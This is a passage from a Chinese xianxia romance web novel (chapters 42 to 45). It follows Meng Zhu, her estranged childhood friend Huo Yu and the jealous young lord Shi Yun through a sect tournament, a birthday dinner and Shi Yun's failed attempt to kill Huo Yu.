看着霍予像曾经一样睁着一双状似无辜的眼睛望着她,孟竹忽然觉得有些荒谬。 “你在干嘛?” “哄你啊。”霍予笑起来,“你之前不是喜欢我这么哄你吗?” 他伸手,小指轻轻勾上孟竹的,轻轻拉了拉,“别不理我啊。” “孟竹要永远和霍予在一起,拉勾上吊一百年不许变。” 他的眼眸中笑意深深,“你忘记了,我们不是说好了吗?” 孟竹的手动了动,收回来,“你收买人心的手段,倒是越来越娴熟了,我从前怎么没发现,你这么能说会道?” 霍予撑着脑袋,微微偏着头看着孟竹,“你不总说我像个没长大的孩子吗?现在我长大了,你不喜欢吗?” 他说话的时候,总是下意识地微微侧头,用右边的脸对着她。 孟竹看着,忽然伸手,越过桌面捏住了霍予下颌左右转了转。 明亮的室内,就算在阳光下,左边的那颗眼珠也黯淡无光,像蒙了一层灰暗的影子。 霍予在她的手心慢慢敛去了笑容,泪水就这样顺着他通红的眼角落了下来。 “你就不好奇我这一年究竟过着什么样的日子吗?” “你从没问过我。” 他的泪一滴滴落在孟竹的手心。 “小竹,我过得不好,很不好。” 第42章 旧好 霍予的眼眶通红,当真是楚楚可怜的模样。 仿佛一件易碎的瓷器,只要稍稍用力,就能将他捏个粉身碎骨。 孟竹凝视他半晌,手上的力道渐渐加重,忽然笑起来,“好可怜啊。” 她松开手,将手心的泪甩落,“这种无辜示弱的把戏,你真是百用不腻,你就是这么收买吕一的?” 见到孟竹的动作,霍予若无其事地揩去眼角的泪痕,“果然还是你最了解我。” “怎么,现在已经对你不起作用了吗?” 他又笑起来,好奇地问孟竹:“听我说我过得不好,你心里是不是痛快许多?” 孟竹坐下来,端起茶杯喝了一口,手指慢慢抚过杯身,缓缓道:“你过得很好,不用说我也知道。” “无论身处什么样的环境,你总是能抓住所有的机会,让自己过得比任何人都好,无论用什么手段,你永远明白自己想要的是什么,在你心里,没什么人能比你自己更重要。” “这就是你当初离开的理由,不是吗?” 孟竹抬起眼,淡淡道:“演深情把自己都演信了?” “养不熟的狗崽子。” 霍予渐渐不笑了,始终弯着的眼睛终于落下来,面无表情地看着孟竹。 良久,久到室内的气氛几乎凝固成冰时。 孟竹执杯的手动了动,忽然叹了口气,话锋一转,道:“不过,毕竟我们从小一起长大,这份情谊到底谁都比不上。” 窗外的风声渐起,吹动那张搁在书案上的画纸,轻飘飘地落在孟竹的脚边。 孟竹将那副画捡起来,目光停在那画纸上,看了许久。 上面画的人,是她。 准确来说,是穿着高中校服的她,扎着简单的马尾,笑着回头的模样。 从前,霍予也很爱画她,每一个模样的她,笑着的、皱眉的、生气的、睡着的,那些逐渐泛黄的纸页记录着他们曾经那样浅薄的天真。 亦或是,那颗完**露的真心。 它也曾记录着那些两小无猜,青梅竹马,那一段交付真心的过往。 霍予随着她的视线看着幅画,“或许在你眼里,我说什么都显得虚伪,但唯有你,我从未有过算计。” 他想起失控的货车旁,那双最后回头朝他看过来的那双眼,他当时怎么就向着她跑过去了呢? 他想说:小竹啊,你看,我也曾真心爱过你,也曾愿意为你付出生命。 可看着孟竹的眼睛,那些话又咽到肚子里,烂在肠子里。 为什么会变成现在这副样子,戴着冰冷的面具,说着伤害彼此的话。 犯了错的人便永远不可饶恕吗? 想让自己过得好一些,便是罪吗? 孟竹将那副画放回到桌案上,伸手将搭在椅背上的披风拿起,轻轻披在霍予的身上,温言道:“起风了,你受了伤,不要再染了风寒。” “狠话说完了,我的气也出了。” 她蹲下来,手指放在霍予的膝上,抬头望着他:“我们两个,是在这个陌生世界里,唯一的亲人了,不是吗?” 霍予的手指动了动,抚上孟竹的脸,他慢慢俯下身,额头与孟竹相抵。 “你终于明白了。” 霍予轻声道:“我们才该是最亲密的人。” 自那天以后,仙门大比开始了,孟竹除了应付考核以外,每日都会去霍予的住处看他,他们仿佛又回到了那些曾经亲密无间的日子,聊一些久远的从前事,说一些无关紧要的玩笑话。 孟竹在阵法、符箓、卦术等等的比试中,都不是太过显眼,只是中游偏上的程度。 出乎意料的是,在阵法这门考核上,夺得魁首的却是吕一。 孟竹和她相识已久,只有在阵法课上见到过过吕一使用阵法的样子,笨拙得令人咂舌。 没人想到这样的吕一能在阵法这一课上夺魁。 那一日,她站在山顶,是孟竹熟悉的,自信又从容的模样,身后的长发被风扬起,意气风发的模样。 抬手间,万千光华自她手中流转,引起阵阵惊叹。 从那日她们见面之后,吕一便再没来找过霍予。 而霍予,不管是在任何一门的比试中,都远远超出同期,一骑绝尘。 在仙门大比开始的那一天,孟竹见过施允一次,他坐在考察处,同她隔着百米之外的距离。 她几乎看不清他的脸,那样的距离下,他们就像是两条毫不相干的平行线,一直往前延伸,却总也没有交汇的时候。 在她参与考核的时候,施允的目光短暂地在孟竹身上停留了一瞬,又毫不在意地挪开。 “中上。” 考官念出孟竹的成绩,施允的视线垂下来,同孟竹对上。 那样远的距离,隔着深浓的雾气,他的面目像是画中的仙人,还是那样高高在上的,犹如坐在云端。 那双秀丽的眉眼间是毫不关己的漠然,只不过淡淡瞥过来一眼,又很快抽身离去。 孟竹无心关注仙门大比的名次,却更加精心地饲养那只被她抱回来的猫儿,那只猫脾气相当傲,一旦吃饱了,便会远远跳开,躲在暗处观察着孟竹。 仿佛*只要孟竹有什么动作,它便会随时伸出利爪,抓花她的脸,张开嘴用嘶哑的气音威胁她。 孟竹倒是对此乐见其成,既不过分关注它,也不会强行罔顾猫儿的意愿将它捉过来抚摸,只是在闲暇的时候,用几件自制的小玩具逗弄一番。 除此之外,孟竹花了大把的时间在霍予身上,两个人整日待在一处。 渐渐地,便有流言传开。 霍予将那些流言说给孟竹听,“他们说你迟早会跟着我回丰城,不会同我分开。” “最后一门剑术的考核结束后,我就要回丰城了。” 他看着在一旁看书的孟竹,忽然问道:“你怎么想?” 孟竹翻书的手一顿,又若无其事地翻过一页,“没怎么想。” “现在这样,不是挺好的?” 霍予看着她平淡无波的模样,笑道:“你就不想去看看,除了玉都以外的世界吗?” 静了静,孟竹忽然抬眼,看着霍予道:“好啊。” “都依你。” 霍予的呼吸都停了一瞬,“当真?” 孟竹想了想,放下书,道:“身为玉都学府的人,我能随意就去丰城吗?” “这不难啊。”霍予耸了耸肩,道:“只要学府的长老们都同意了就行。” 孟竹放下书笑了笑,“行。” 霍予丢开画笔,走到孟竹面前,“我的生日要到了。” 他微微俯身,两只手撑在孟竹的身旁,圈出了一个狭小的空间,“小竹,你不会忘了吧?” “怎么会?”孟竹抬起头,望着霍予的眼睛,“剑术考核那日,对不对?” “四月初七,你的生日,我怎么会忘呢。” 霍予抬起一只手,抚向了自己耳边的那枚银质耳钉,“这枚耳钉旧了。” “嗯。”孟竹的视线顺着他的手看了过去,然后伸手在他的耳垂上拨弄了一下:“是旧了,该换了。” 在霍予那边度过了半日,孟竹回到房间,看到桌案上搁着的笔墨文书,她坐过去,拿起那支毛笔在手中转了两圈。 片刻后,孟竹低下头,开始在那张纸上落笔。 她写得很慢,时不时停下来思考一阵,一张纸上写得字数不多,但到了晚上,这一纸文书才写完。 孟竹将它捧起来看了两眼,又细细读了几遍,才满意地倒头入睡。 到了剑术考核的这一日,孟竹弃权了。 她实在用不来那些繁复的剑招,再怎么学,也始终像是隔了一道墙,学不到真谛。 “剑招要优美灵动,气势磅礴,叫人猜不出你的下一步动作,若学成,在百里之外取敌首不成问题,你的动作太鲁莽直接,粗鄙不堪,不是个学剑的苗子。” 这是曾经剑术大师对孟竹的评价,孟竹听了以后,倒是不曾在意。 能达成目的就行,管他什么招式,只不过从那日起,对于剑术的修行,她便渐渐地淡了。 人总有自己擅长的和不擅长的东西,她从不强求。 试剑台上刀光剑影,尤为精彩,孟竹站在台下,看着霍予手持一柄长剑,过五关斩六将,一路碾压同期,站到了最后。 每一次胜利之后,霍予都会第一时间去寻找孟竹的身影,看着她含笑的眼睛,为他而鼓掌。 孟竹不是个让人扫兴的人,每一次,她都站在台下,认认真真地看完了整场比试,她目不转睛地看着霍予的一招一式。 说实话,霍予的确是个天生的好苗子,所有的剑招在他手中都行云流水,富有观赏性的同时又极具杀伤力,引得人群中爆发出阵阵热烈的喝彩声。 她静静地看着,目光始终不曾移开,仿佛眼中只剩下了霍予的模样。 若是霍予受伤了,她便会第一时间送上疗愈的药物,对待非常强劲的对手时,霍予看起来有些泄气。 孟竹会摸一摸他的头,说:“没事的,赢不了也没关系。” 到了结束时,已经是日落时分,天边的红霞漫开,彩缎似的铺满了整片天空。 得益于霍予的人缘,属于他的喝彩声一波比一波高涨。 “霍予,你小子真行啊!” “台下的心上人站着,是不是让你力量倍增啊,哈哈哈哈哈。” “喝喜酒时,可别忘记通知兄弟们!” 在气氛高涨时,有人笑着撞了撞孟竹的肩膀,“人姑娘答应跟你走没?” 霍予站在台上,目光遥遥与孟竹对视,等待着考官念出那个属于他的,最高等级的名次。 他眼睫弯弯,唇角带笑:“好了,你们……” 话音还没完全落下,便被一道声音打断,伴随着一声冷冷的嗤笑。 “我说结束了么?” 第43章 看我 声音一出,场面一时又安静下来,只剩下些窃窃私语的响声。 迎着夕光,施允从高处的看台上走下来,他手腕微动,掌心凝出一把长剑,慢悠悠地在台上站定。 忽然,剑光一闪,冷厉的剑尖蓦地指向霍予:“不如我来同你比比?” 台下顿时炸开了锅,所有人都窃窃私语着,等着看这场热闹。 台上的长老们面面相觑,其中一位出声道:“这……不合礼数吧。” “少主本不在这次比试的范围内。” 施允眉梢微动,唇角带笑道:“有什么不合礼数的?霍公子看起来是个难得的可造之材,我同他讨教一番,不行么?” “这……” 长老们聚在一处,看样子是讨论了一番,然后其中一人看向霍予:“霍予,你可愿意?” 从施允站到台上的那一刻,霍予就在观察孟竹的表情。 她对上霍予的视线,眼眸中平静无波,只对着他笑了笑。 他紧了紧手中的长剑,含着笑温言道:“自然,求之不得。” 霍予的长剑指向施允:“请吧。” 下一瞬,极快的剑光闪过,霍予还没来得及反应,那道凛冽的剑意便逼近眼前。 他下意识地抬剑一挡,极强的力道震得他险些握不住剑,可下一瞬,那剑意又如流水一般褪去。 他听见施允轻笑一声,在那交错的剑影间,看见了施允一双含着嘲意的眼眸。 像是戏弄一般的,剑尖轻轻巧巧地转开,剑锋偏了半寸,在霍予以为要擦身而过时,下一刻,又如同游龙一般滑过来。 纵使他拼尽全力,也只是勉强应付。 这根本不是一场同等水平的较量。 更像是一场—— 属于施允一个人的表演。 在漫天的夕光下,施允手中的长剑翻飞,火烧似的晚霞点亮那柄如水的剑,剑光流转间,他的眸光轻动,红色的发带被风扬起,吹得很高。 越是动起来,他的眼眸越亮,唇也愈发得红。 张扬肆意的红衣翩飞着,像一团烈火,烧红了天际。 施允的身影定格在所有人的眼中,他们屏息地看着这漫天流光下的剑影,确切地说,这更像是一场以剑而生的舞。 不以强弱和输赢为目的,更像是在展示些什么。 总有那么一种人,他无需做什么说什么,只需要站在那里,便能吸引所有人的目光。 施允身上就有那么一种特质,让周围的气氛因他而变化,因他而热烈。 霍予的手渐渐酸软,就快要握不住剑。 他感到了难以言喻的耻辱。 他习惯地朝着人群中那个熟悉的角落看去。 手中的长剑“咣当”一声,落在了地上。 孟竹站在人群中,她的面容平静,甚至一丝多余的表情都没有,但那双眼睛始终专注地追逐着那个火红的身影,目不转睛地看着那个人。 没人在意台上的他,所有人都在看着他对面的另一个人。 包括孟竹。 霍予闭了闭眼,忽然觉得自己在做一场经年的梦。 他仿佛回到了那个落着夕阳的教室,昏黄的夕光透过明亮的玻璃窗照在课桌上,为桌面渡上了一层金色的光影。 窗外是葱郁的绿,教学楼外的球场上正在进行一场蓝球比赛,热闹的喝彩声、欢笑声一阵阵传来。 孟竹正在低头收拾书包,夕光照在她的侧脸上,依旧是那副安静温和的模样。 他走过去,压住孟竹捏着课本的手,“听说那个三班的,蓝球小王子跟你表白了?” 孟竹的手一顿,抬眼看他,像是思索了一番,“谁?” 他抬了抬下巴,从这个角度望去,正好能看到那个高高瘦瘦的背影用力跃起,手臂高高举过头顶,投了一个漂亮的三分球。 少年在球场上跑动着,手举起来,朝天比了个手势,眉宇间尽是飞扬自信的笑意。 “就那个。” 孟竹随着霍予的视线看过去,等了一会儿,才开口:“真记不清了。” 霍予扑哧一声笑了出来。 他拉了拉孟竹的校服,戏谑道:“你好像很难记住其他人。” 孟竹伸手,手指在霍予的发间拨弄了一下,“嗯。” “你不是要我只看着你吗?” 霍予拉下那只手,轻轻蹭了蹭:“那其他人跟你说什么,你都不要听,不要看,好不好?” “好。” 那双在夕阳下凝视他的眼睛和此刻渐渐重叠,她眼里倒映的,看向的,永远注视着的。 不再是他了。 霍予忽然泄力地往后倒退了几步,偏过头看着孟竹,眼里竟生出几分恼恨来。 为什么? 不是说一直看着我吗? 那就一直看着啊! 看我啊!! 看我啊!! 看我啊!!! 拜托了!!!!看着我啊!!!!! 所有人都能无视我,不在意我,唯有你不能。 唯有你不能,孟竹。 “你输了。” 施允的剑尖停在霍予面前,自上而下地俯视着他。 人群中爆发出热烈的欢呼声,在这片喝彩声中,霍予一声不吭走下了比试台。 有人出声安慰霍予:“没事的,你已经很厉害了。” “就是,输给玉都少主,又不算什么。” “毕竟人家那么厉害,哈哈哈哈,真是不得不服气啊。” 霍予唇角带着浅浅的笑,一一应付过去。 他走到孟竹身边,看到孟竹收回了视线,她什么也不说,只静静看着他。 “不安慰我一下吗?”霍予道。 “走了。”孟竹转身,“回去吧。” “去哪儿?” 孟竹离霍予一步之遥,微侧着脸看向天边,视线又落下来,看着霍予:“今天不是你的生日吗?” 霍予笑着:“哦,原来你还记得。” “当然。” 想了想,孟竹问:“你不叫上你那些朋友吗?” 霍予的脚步顿住,微偏着头看孟竹。 他背着光,半边脸落在阴影中,笑道:“我们什么时候过生日有过别人?” 孟竹像是恍然大悟似的,点着头,“哦……我忘了。” 霍予静了片刻,慢慢道:“你的记性不如从前那么好了。” “也许吧。”孟竹说。 两人一前一后走出人群,散场的人三三两两从身边走过,孟竹似乎想起什么,又回头看了一眼。 人群散开,夕阳照向空无一人的擂台,只留下了一层淡淡的余晖。 她忽然想起那日在尸魁洞中,施允说什么来着? 他不会用剑? 收回视线,孟竹又对上了霍予漆黑的一双眼。 “怎么了?”他问,“你在看什么?” “没什么。” 霍予嘴角的笑容依旧温柔,他笑着牵起孟竹的手,“走吧,不是说要给我过生日吗?” 很奇怪,明明刚刚比了一场剑,霍予的手心却是凉的。 印象中,他的手心一直温温热热,就算是在冬天,他的手也总是暖的。 那些年,他们踩着雪,听着脚下咯吱咯吱的声响,疯闹似地穿过大街小巷,互相嘲笑对方冻得通红的脸,最烦恼的事情不过是抱怨放假的时光怎么这么短,读书的时光怎么这么长。 他们期盼着毕业,期盼着长大。 分开这两个字,仿佛永远不会出现在他们人生的字典里。 冬天的热奶茶,还有两个人系着的那条围巾,毛绒手套交握传来的温度。 好像已经是好久,好久,好久之前的事情了。 像上辈子。 像一场梦。 夜幕下,湖面上的河灯点点亮起,一艘装饰华美的画舫停靠其上,雕栏玉砌,悬灯结彩,夜风吹动层层叠叠的金纱,笙歌乐舞,好不热闹。 孟竹在这里花重金在这里的二层定了个雅间,又叫了一桌子的好酒好菜。 霍予跟着她坐下来,视线扫过桌面,却没动筷子。 “你费心了。” 孟竹应了声,随即笑笑,很浅,“这么客气?” 她给霍予斟了酒,把杯子递过去,霍予却没伸手来接。 “不要?” 霍予嗯了一声,道:“戒了。” “哦。”孟竹放下酒杯,说:“好事。” 她拿起筷子,开始吃桌面上的菜,霍予坐在对面看着她,一言不发。 孟竹停了筷子,问:“怎么不吃?” 霍予静静看着她,他忽然想起了一年前,他离开的那天。 也是这么一桌饭,不同的环境,相同的人。 可他们又回到了那个原点,相同的走向。 画舫里好像又进来了些其他的人,和这个显得尤为安静的雅间不同,隔着一层甲板也能听到楼下觥筹交错的宴饮声。 霍予伸出手,“我的生日礼物呢?” 孟竹拿着筷子的手一顿。 她有些缓慢地在脑海中思索着,另一只手下意识地在怀里摸了两下,手上摸到了一个滚珠似的东西,又停下来。 她忘了。 她确确实实地忘了,或者说,她压根没把这事想起来过。 不知道为什么,孟竹觉得这场面说不出地尴尬好笑。 于是她又笑了,坦然地叹了口气,道:“我忘了,抱歉。” 然而霍予的脸上平静无波,甚至十分理解、十分善解人意地温声道:“没事,一定是最近准备仙门大比太忙了。” 对方给了台阶下,孟竹自然顺着他的话道:“可能吧。” 霍予很自然地转移了话题,“我明日就要回丰城了,你呢?什么打算?” 想了想,孟竹道:“我已经修书给学府的长老们了,还没有回应,再等一段时间吧。” “好。”霍予点了点头。 这顿饭吃得平静而沉默,不多时,两个人便出了雅间,从台阶上往下走。 隔着重重纱幔,孟竹看到了楼下坐在宴席首座的人,竟是施允。 他似乎并没看见孟竹,一手搭在膝上随意地靠坐着,另一手上捏着只空酒杯把玩。 施允的身边围着几个世家公子模样的人,他们笑着同他说话,施允却始终低垂着眼睫,面无表情,看起来倦怠而冷淡。 夜风将纱帘一层层吹开,孟竹和霍予也走到了门口。 有一道熟悉的声音叫住了她,“孟竹!” 孟竹微侧过头,看着那道声音的主人。 韩韬的视线在她和霍予身上来回打量,然后冲着孟竹笑了笑,“这么巧?你怎么在这里?” 她还没开口,便听到霍予的声音自她身后响起:“因为她来给我过生辰。” “生辰?”韩韬愣了一下,“今日?” 孟竹点了点头,“嗯。” 韩韬下意识地转过头去看施允,他终于抬起了那双始终低垂的眼眸,眼神几近漠然地看着孟竹和霍予两人。 韩韬张了张嘴,又看向孟竹,他眉头皱了起来,似乎有些难以开口似的。 在孟竹踏出门之前,韩韬终于把那句话吐了出来。 “可是……” “你难道不知,今日也是施允的生辰吗?” 第44章 秘密 孟竹知道。 为了庆祝施允的生辰,各氏族提前好些日子便声势浩大地送来了贺礼,他们众星拱月般地将城主府挤了个水泄不通。 关于这位天之骄子,所有的消息都传得极快,想不知道都难。 按照惯例,本来是要在城主府设宴款待各城来使的,却听说不知为何,施允将人全部遣了回去,连送来的贺礼都没收,几乎整日闭门不出。 就如同之前那样,只要他不想,就没有人能见得到他。 而此时此刻,他又出现在她的面前,用那样晦暗如潮的眼神望着她。 他的下巴依然抬着,高傲得不可一世的模样。 孟竹踏出门的一条腿停住,她很平静地看了眼施允,又问韩韬:“是吗?” 她停顿了一下,又问:“那同我有什么关系呢?” 她的余光注视着施允,心口忽然涌起一股皱缩的酸涩感。 好长时间没有这么近距离地看到过施允了。 他瘦了很多,柔软的墨发散在肩头,显得那张脸格外苍白。 “不是……”韩韬被她这冷漠的语气一激,声音也变得急切起来:“你这人怎么这样啊?” “好歹施允帮过你这么多回,你说话怎么这么冷漠的?” 韩韬想要起身,又被身边的人按着肩膀坐下去,劝道:“干嘛呀,好好的日子,跟个姑娘计较什么?” 韩韬根本听不进去,就要站起身同同孟竹理论一番。 直到一道冰冷的声音传来,他才如梦初醒一般僵住了身。 施允抿着唇,声音冷得像冬日里飘飞的雪:“子修,闭嘴。” 韩韬还欲在说些什么,又在施允冰冷的眼神下住了口。 霍予的手搭上孟竹的肩膀,把她往前带了一下,偏过头看她:“我们走吧。” 孟竹点了点头,一言不发地随着霍予一同出了画舫。 和霍予两个人走在城内的街道上,两个人并肩走着,谁也没说话,都沉默着。 走着走着,霍予停下了脚步,孟竹跟着他一道停了下来,用眼神询问他。 “孟竹。”霍予喊她的名字。 他很少这样连名带姓地叫她。 顿了顿,霍予又道:“我知道你不会跟我走。” 他站在夜色下,终于不再带着那副虚假的笑,似乎是下定了什么决心一般,霍予深吸一口气,又吐出来,轻声道:“算了。” 像是喃喃自语一般,一遍遍说着:“算了……” 孟竹没说话,只看着面前这个人,不是她不想说些什么,只是到了现在,他们之间已经到了无话可说的地步。 就算都心知肚明地不去触碰那些隔阂,但有些东西,到底是不同了。 霍予的手放在脸上,用力地搓了一下,重重呼出一口气,转过脸来看着孟竹,轻声问:“真的回不去了吗?” 看着那张近在咫尺的脸,孟竹忽然觉得,他们两个站在人生的岔路口,好像走向了两个不同的方向,越来越远。 孟竹沉默了一瞬,“霍予,你知道过期的东西为什么不能吃吗?” 霍予的手放下来,默不作声地看着她。 “不是不可以吃,而是,可能看起来外表完美无暇的东西,咬下去的时候,你不知道它什么时候就发霉发臭了,不知道下一秒钟你会不会因为它而食物中毒,上吐下泻,它已经在你不知不觉的时候慢慢烂掉。” “原来再好吃,再爱吃的东西,过期了,就再也不是那个味道了。” 霍予苦笑了一声,“所以,我也过期了,是不是?” 在最彷徨无助最孤立无援的时候,孟竹都想着要拉着他,带着他一起回家,哪怕他从曾经温柔阳光的大男孩变成了一个只知道酗酒度日、满腹怨言的男人,她都从来没有想过要放开霍予的手。 可那把穿心的刀,来自最信任最心爱的人,永远知道扎在哪里会让人最疼。 良久,霍予忽然开口问道:“你想回家吗?” “回家?” 孟竹的心口忽然一跳。 回到那个熟悉的世界,那个过着平凡的生活,普普通通的却又无比真实的世界吗? 可是她的家在哪儿呢? 是那个只有霍予和季琴在的房子吗? 可是季琴也死了。 她还能去哪呢? 孟竹在内心问自己,她真的想要回去吗? 回去做什么呢?像个普通人一样上班、生活,在她这贫瘠的、空无一物的生命中,她甚至回忆不起来任何眷恋的东西。 孟竹看着霍予,有些茫然地问:“霍予,我的家,在哪儿呢?” 霍予看着那双空洞的眼睛,一瞬间,什么话也说不出了。 他原先那些莫名的恼恨忽然就散了。 他闭了闭眼,用力地抱住了孟竹。 孟竹下意识的想要推开,又听到霍予带着哽咽的声音。 她抬在空中的手又慢慢地垂了下来,任由霍予紧抱着自己,她听到霍予在她耳边发颤的声音:“一年,不……最多半年,我已经有了一些眉目了,等我办成了,我一定能带你回去。” “小竹,回去以后,我再也不拘着你了。”霍予哽咽着,像个无助的孩子。 “不必爱我,也可以不做恋人,我们……” “我们依然……依然……是家人。” 孟竹听着霍予在她耳边压抑的哭声,有些难以理解。 他在哭什么? 又在伤心什么呢? 但孟竹已经无心去分析关于霍予的想法了,她面无表情地站着,眼皮向下耷拉着,直到霍予的声音渐渐平静下来。 他松开孟竹,又细细看了她一眼,道:“这一次,我不会再让你失望了。” 孟竹退了两步,拉开同霍予的距离,“打住,我本来也没对你抱什么希望。” 这回,霍予倒是笑了,走之前,他冲着孟竹挥了挥手,“小竹,再见。” 孟竹转过身,也没理会他的再见不再见,啰里八嗦,她甚至觉得有些聒噪。 她看了眼天上的月亮,走入黑夜里,头也不回- 月光从檐角落下,阴影下站着一个修长的身影,靠着墙,有些疲懒的模样。 施允面无表情地看着前方拥抱的两人,他们在说些什么。 他听不到。 他像个黑夜里见不得光的人,躲在墙角,窥探着别人的幸福。 已经过了多久了? 他藏在看不见的角落里,看着孟竹和霍予同进同出,看着她笑着抚摸那个男人的头发。 孟竹和那个男人之间有一种特殊的默契, 原来她曾经抚摸他的方式,柔声安抚他的模样,都不过是同那个人相处保留下来的习惯。 心脏狠狠地抽动着,犹如被一只无形的手绞紧了,让人窒息的钝痛感。 他不该来的,不该看的。 可若是不看,他又会整日疑神疑鬼地想着,他们在做什么? 他们是不是又在一处了? 在他看不见的地方,他们是不是又有超乎寻常的亲密? 那些他不知道的,关于他们的曾经,到底是怎么样的? 就这样,近乎自虐一般地,每日藏在暗处,像是个偷窥狂一样地观察着孟竹的一言一行。 越是看着她,他便越是感到恶心。 他厌恶孟竹。 厌恶她看着霍予的目光,厌恶她笑着逗他的模样,厌恶她总是戏弄于他。 他更厌恶这样的自己。 这样见不得光的、丑态百出的自己。 太丑陋了。 令人恶心。 明明知道孟竹不会发现他的目光,却又希冀着她过来寻他,被她发现,被她触碰。 他甚至厌恶起了孟竹养的那只猫。 连那只猫都可以得到孟竹的怜爱,被她抚摸,被她疼爱。 他竟然还不如一只猫。 他当真下贱。 施允冷漠地看着这一切,他绝不能沦落至此,于是从那天起,他又闭门不出了,不想再看到那样的画面。 那令他恶心,连带着胃都要被呕出来。 他吃不下任何东西,心口连着的地方总是疼的,总是闷痛到想要呕吐。 直到那封文书送到了他的书案上,上面狗爬一样的字,就跟孟竹一样,粗鄙不堪。 看一眼,都觉得污了他的眼。 可他又把那张揉皱了的纸抚平了,仔仔细细地看着,一遍又一遍地确认着。 所有的一切都在告诉他一个事实。 她要走,同那个人一起。 一股灭顶的愤怒席卷了他,他几乎将书房砸了个稀巴烂。 躺在一地的废墟中,他攥着那纸文书,心中只有一个想法。 都结束吧。 谁也别想痛快。 于是他来了,看着两人分别,看着孟竹离开,看着前方那个男人的背影,默不作声地跟了上去。 杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他。 杀了霍予。 一切就都结束了。 如果这个男人从未出现过,事情就不会变成今天这个样子。 他要让这个人从孟竹的生命中,彻彻底底地消失。 那些他介入不了的曾经,干脆全部抹去吧。 月夜下,施允的影子被拖得很长,手中的长剑垂下,随着他缓慢前进的脚步,在地上划出一道又长又深的剑痕。 剑尖拖在地面,那刺耳的摩擦声太响,他根本没打算隐藏身形。 霍予回头,毫不意外地看着身后的施允。 他面容平静地几近诡异,背对着月光,苍白的一张脸上戾气横生,像是地狱里爬出来索命的怪物。 霍予看着,忽然笑出了声。 什么天之骄子,什么高坐云端的神,什么光风霁月的样子? 都是放屁。 “我真想让小竹看看你现在的这张脸。” 施允盯着面前的这个人,拖着剑又缓缓向前走了两步。 霍予静静地站着,似乎根本没打算要逃,“堂堂玉都少主,也会因为一己私欲而杀人吗?” 那又怎样? 施允觉得莫名地好笑,从小他就被所有人期待着,在他耳边告诉他什么是对,什么是错。 告诉他要克己复礼,要做一个合格的继承人,担起一族的责任。 一举一动要得体分寸,绝不可行差踏错。 可凭什么呢?他已经忍得够久了。 谁来管过他的死活? 他们只会在他耳边喋喋不休地妄图规训他,妄图让他变成他们心目中完美的假人。 “你该死了。”施允手中的剑光一闪,转瞬便逼至霍予的心口。 “你死了,一切就都结束了。” 剑锋一寸寸刺进霍予的心口,在这一瞬间,霍予的左眼忽然亮起一阵微光。 一股突如其来的,巨大的力道冲击得施允往后退了几步。 施允抬起头,看着霍予周身瞬间张开的结界,几乎将他严严实实地包裹起来。 他知道霍予的实力,这样的结界根本不是他这个阶段的修为能用出来的。 这不是属于他的力量。 霍予闭了闭眼,整张脸似乎都痛苦得扭曲了起来,一瞬间,他身上的光又淡去。 他脸上的表重新恢复正常,捂着眼睛看向施允。 “我的确打不过你,但你也无法杀了我。” 杀不了? 施允掀唇冷笑。 他手腕微转,铺天盖地的杀意再次袭来,手中的剑光流转,无数道剑影瞬间浮现在他的周身,自他脚下瞬间展开的剑阵带着磅礴凌厉的气势扑面而来。 那道幽蓝的屏障被数道悬浮的剑影逼进,像是碎裂的镜面一样从顶部一寸寸裂开。 在即将破开那道屏障之前。 “杀了我,一切也不会结束。” 霍予迎着那道寒气逼人的剑锋,“告诉你一个关于小竹的秘密吧。” 剑尖倏地停住。 霍予唇角勾着一抹笑,“我看你好奇得都快疯了,那我就大发慈悲地告诉你吧。” “我看你的舌头也不想要了。”施允的剑尖一偏,顺着裂口四溢的剑气在霍予的脸上划出一道血痕。 霍予抬手,指尖在脸上擦了下,他嘴角带着抹兴致盎然的笑意,并不畏惧此刻的这个局面,哪怕那柄剑下一秒就会穿心而过。 “这个世界与我和她而言,不过水中月,梦中花,看起来真实,不过只是一场梦罢了,谁睡醒了还会记得梦里的事呢?” 他抬眼看向施允:“你想知道为什么吗?” 霍予的声调缓慢,声音回荡在黑夜里,犹如断头的铡刀一样落下来。 “因为我们不属于这个世间。” “在这个红尘之外的地方,你见过吗?” 那个男人的声音在空寂的黑夜里,显得那么恶劣,又充满嘲讽的笑意。 轰然一声。 施允仿佛听见有什么东西在他脑海中崩塌了。 一瞬间,孟竹说的那些奇怪的话,他曾见过的那些奇形怪状的衣裳,和霍予单独在一起时那些奇怪的举止和手势,还有她那种对什么都不在意的,虚无缥缈的态度,都像是巨浪一般在他脑海中翻腾。 他不是没怀疑过孟竹的来处,但怎么可能会有这样的地方? 假的。 假的。 不可能。 可一股巨大的、莫名的恐慌像洪水一样淹没了施允,他的心口重重一跳,整个人像是迅速失重一样头晕目眩。 他下意识地反驳霍予:“荒谬。” 霍予的身形被那道已经自动修复的幽蓝屏障包裹着,渐渐淡去。 施允眼睁睁看着,他明明该杀了他的,可浑身的力气都像是被抽干了。 在霍予离开之前,那充满嘲讽的声音清清楚楚砸进施允的耳中。 “等离开这个世界,你觉得她还会记得你这样一个存在吗?” 寂静无人的黑夜里,长剑掉落在地上。 施允一只手扶着墙,另一只手攥着胃部,像是要将自己的脏腑都要全部呕出来。 半晌,他贴着墙根缓缓滑坐下来,浑身因为剧烈的干呕止不住地颤抖着。 月光映在那张苍白的容颜上。 他用颤抖的双手缓缓捂住了自己的脸。 真难看。 第45章 打扮 仙门大比之后,玉都学府内重新陷入了沉寂,令孟竹意外的是,这次走的人不仅仅是霍予。 还有吕一。 不过孟竹没兴趣去了解她的想法,每个人都有自己的路要走,她连自己的事情都还没有眉目。 孟竹现在真的有些急躁了。 施允比她表现地还要冷漠,还要沉得住气,她甚至有些怀疑,那些曾经在他眼中出现的情感,当真存在吗? 原来她远没有像她以为的那么了解施允。 铒抛出去了,她钓了个寂寞。 难道她真的像施允所说的那样,毫无魅力? 孟竹坐在梳妆台前,仔细端详着这张脸,她其实不甚在意自己的容貌,小时候刚上学,那些小姑娘们喜欢的头花小饰品,发夹小手链,互相炫耀对方新买的小玩意儿,她丝毫提不起兴趣,永远素着一张脸,扎着一成不变的马尾。 她们也不喜欢和孟竹一起玩,嫌孟竹性子太沉闷,偶尔有几个小姑娘善意地邀请孟竹一起参与她们的游戏,就算是跳皮筋她也永远是撑皮筋的那个,没过几天,她们又不约而同地把孟竹默默推出了她们的小圈子。 要说为什么,她也说不清,她实在蹦不起来,她好像天生就欠缺了一种热情,性子寡淡,古怪沉*闷,生来就不讨人喜欢。 